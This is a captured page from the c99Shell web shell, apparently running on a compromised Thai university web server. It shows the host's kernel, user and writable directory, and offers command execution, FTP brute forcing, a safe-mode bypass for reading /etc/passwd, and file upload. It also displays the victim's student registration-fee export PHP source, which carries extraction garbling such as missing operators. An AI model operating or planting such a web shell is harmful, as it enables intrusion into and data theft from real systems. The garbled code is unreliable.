!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/application/views/eregis/   drwxrwxrwx
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_sendToReceiptCur.php (3.27 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
header
('Content-type: application/xls');
header('Content-Disposition: attachment; filename="testing.xls"');
?>
<table width="100%">
    <tr>
        <td align="center"><b>ค่าลงทะเบียนเรียนของนักศึกษา</b></td>
    </tr>
    <tr>
        <td><br /></td>
    </tr>
    <tr>
        <td><table border="1">
            <tr>
                <th>ที่</th>
                <th>รหัสนักศึกษา</th>
                <th>คำนำหน้าชื่อ</th>
                <th>ชื่อ</th>
                <th>นามสกุล</th>
                <th>ภาคศึกษา</th>
                <th>ปีการศึกษา</th>
                <th>ชั้นปี</th>
                <th>หลักสูตร</th>
                <th>จำนวนเงิน (บาท)</th>
                <th>สิทธิการเบิกค่าเล่าเรียน</th>
                <th>รายการ</th>
                <th>จำนวนเงิน (บาท)</th>
            </tr>
<?php
        
for($k=0$k<count($pmIdArr); $k++) {
            
$pmId $pmIdArr[$k];
            
$stdId $stdIdArr[$k];
            
$acY $acYArr[$k];
            
$tmId $tmIdArr[$k];

            
$con_std = array('stdId'    => $stdId);
            
$qu_std $std->qryStdJoinSdtPfCurSySstElv($con_std);
            if(
$qu_std->num_rows()) {
                
$row_std $qu_std->row();
            } else {
                
$row_std NULL;
            }

            
$pm->pmId $pmId;
            
$pm->get_by_key(TRUE);

            
$tm->tmId $tmId;
            
$tm->get_by_key(TRUE);

            
$crf->crfStdId setValue('stdId'$row_std);
            
$crf->crfTmId $tmId;
            
$crf->crfRfId $pm->pmRfId;
            
$crf->crfAcY $acY;
            
$crf->get_by_key(TRUE);
?>
            <tr>
                <td align="center"><?php echo $k+1;?></td>
                <td align="center"><?php echo setValue('stdCode'$row_std);?></td>
                <td><?php echo setValue('prefixName'$row_std);?></td>
                <td><?php echo setValue('stdName'$row_std);?></td>
                <td><?php echo setValue('stdSurname'$row_std);?></td>
                <td align="center"><?php echo $tm->tmCode;?></td>
                <td align="center"><?php echo $acY;?></td>
                <td align="center"><?php echo setValue('syCode'$row_std);?></td>
                <td><?php echo setValue('curName'$row_std);?></td>
                <td align="right"><?php echo number_format($pm->pmAmt,2);?></td>
                <td><?php echo setValue('sdtCanRefund'$row_std);?></td>
                <td>ค่าหน่วยกิต</td>        <!-- รายการที่ 1 fix ค่าหน่วยกิต -->
                <td align="right"><?php echo number_format($crf->crfLecFeeAmt+$crf->crfLabFeeAmt2);?></td>
            </tr>
<?php
            
for($num=1$num<=3$num++) {
?>
            <tr>
                <td></td>
                <td></td>
                <td></td>
                <td></td>
                <td></td>
                <td></td>
                <td></td>
                <td></td>
                <td></td>
                <td></td>
                <td></td>
                <td>
<?php
                
switch($num) {
                case 
1:
                    echo 
"ค่ารักษาสภาพการเป็นนักศึกษา";
                    
$amt $crf->crfKssFeeAmt;
                    break;
                case 
2:
                    echo 
"ค่าปรับล่าช้า";
                    
$amt $pm->pmLateFine;
                    break;
                case 
3:
                    echo 
"ค่าใช้จ่ายส่วนต่างๆ";
                    
$amt = ($pm->pmAmt-($crf->crfLecFeeAmt+$crf->crfLabFeeAmt+$crf->crfKssFeeAmt+$pm->pmLateFine));
                    break;
                }
?>
                </td>
                <td align="right"><?php echo number_format($amt,2);?></td>
            </tr>
<?php
            
}
        }

?>
        </table></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0068 ]--